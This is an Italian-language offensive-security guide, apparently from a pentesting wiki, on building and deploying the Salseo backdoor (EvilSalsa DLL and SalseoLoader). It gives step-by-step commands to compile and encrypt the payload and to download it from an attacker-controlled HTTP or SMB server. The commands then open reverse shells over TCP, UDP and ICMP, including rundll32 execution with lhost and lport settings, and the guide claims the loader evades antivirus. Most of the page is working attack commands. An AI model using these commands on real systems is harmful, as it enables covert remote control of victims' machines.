# Salseo
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## Compiling the binaries
Scarica il codice sorgente da github e compila **EvilSalsa** e **SalseoLoader**. Avrai bisogno di **Visual Studio** installato per compilare il codice.
Compila questi progetti per l'architettura della macchina Windows dove intendi usarli (Se Windows supporta x64, compilali per quell'architettura).
Puoi **selezionare l'architettura** all'interno di Visual Studio nella **scheda "Build" a sinistra** in **"Platform Target".**
(\*\*Se non riesci a trovare queste opzioni, premi su **"Project Tab"** e poi su **"\ Properties"**)
![](<../.gitbook/assets/image (839).png>)
Poi, costruisci entrambi i progetti (Build -> Build Solution) (All'interno dei log apparirà il percorso dell'eseguibile):
![](<../.gitbook/assets/image (381).png>)
## Prepare the Backdoor
Prima di tutto, dovrai codificare il **EvilSalsa.dll.** Per farlo, puoi usare lo script python **encrypterassembly.py** oppure puoi compilare il progetto **EncrypterAssembly**:
### **Python**
```
python EncrypterAssembly/encrypterassembly.py
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
### Windows
```
EncrypterAssembly.exe
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Ok, ora hai tutto ciò di cui hai bisogno per eseguire tutto il Salseo: il **EvilDalsa.dll codificato** e il **binario di SalseoLoader.**
**Carica il binario SalseoLoader.exe sulla macchina. Non dovrebbero essere rilevati da alcun AV...**
## **Esegui il backdoor**
### **Ottenere una shell inversa TCP (scaricando dll codificata tramite HTTP)**
Ricorda di avviare un nc come listener della shell inversa e un server HTTP per servire l'evilsalsa codificato.
```
SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp
```
### **Ottenere una shell inversa UDP (scaricando dll codificata tramite SMB)**
Ricorda di avviare un nc come listener della shell inversa e un server SMB per servire l'evilsalsa codificato (impacket-smbserver).
```
SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp
```
### **Ottenere una shell inversa ICMP (dll codificata già all'interno della vittima)**
**Questa volta hai bisogno di uno strumento speciale nel client per ricevere la shell inversa. Scarica:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Disabilita le risposte ICMP:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
#### Esegui il client:
```
python icmpsh_m.py "" ""
```
#### All'interno della vittima, eseguiamo la cosa salseo:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp
```
## Compilare SalseoLoader come DLL esportando la funzione principale
Apri il progetto SalseoLoader utilizzando Visual Studio.
### Aggiungi prima della funzione principale: \[DllExport]
![](<../.gitbook/assets/image (409).png>)
### Installa DllExport per questo progetto
#### **Strumenti** --> **Gestore pacchetti NuGet** --> **Gestisci pacchetti NuGet per la soluzione...**
![](<../.gitbook/assets/image (881).png>)
#### **Cerca il pacchetto DllExport (utilizzando la scheda Sfoglia) e premi Installa (e accetta il popup)**
![](<../.gitbook/assets/image (100).png>)
Nella tua cartella di progetto sono apparsi i file: **DllExport.bat** e **DllExport\_Configure.bat**
### **Dis**installa DllExport
Premi **Disinstalla** (sì, è strano ma fidati, è necessario)
![](<../.gitbook/assets/image (97).png>)
### **Esci da Visual Studio ed esegui DllExport\_configure**
Basta **uscire** da Visual Studio
Poi, vai nella tua **cartella SalseoLoader** ed **esegui DllExport\_Configure.bat**
Seleziona **x64** (se intendi usarlo all'interno di una macchina x64, questo era il mio caso), seleziona **System.Runtime.InteropServices** (all'interno di **Namespace per DllExport**) e premi **Applica**
![](<../.gitbook/assets/image (882).png>)
### **Apri di nuovo il progetto con Visual Studio**
**\[DllExport]** non dovrebbe più essere contrassegnato come errore
![](<../.gitbook/assets/image (670).png>)
### Compila la soluzione
Seleziona **Tipo di output = Libreria di classi** (Progetto --> Proprietà SalseoLoader --> Applicazione --> Tipo di output = Libreria di classi)
![](<../.gitbook/assets/image (847).png>)
Seleziona **piattaforma x64** (Progetto --> Proprietà SalseoLoader --> Compila --> Target piattaforma = x64)
![](<../.gitbook/assets/image (285).png>)
Per **compilare** la soluzione: Compila --> Compila soluzione (All'interno della console di output apparirà il percorso della nuova DLL)
### Testa la DLL generata
Copia e incolla la DLL dove vuoi testarla.
Esegui:
```
rundll32.exe SalseoLoader.dll,main
```
Se non appare alcun errore, probabilmente hai un DLL funzionante!!
## Ottieni una shell usando il DLL
Non dimenticare di usare un **server** **HTTP** e impostare un **listener** **nc**
### Powershell
```
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
### CMD
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
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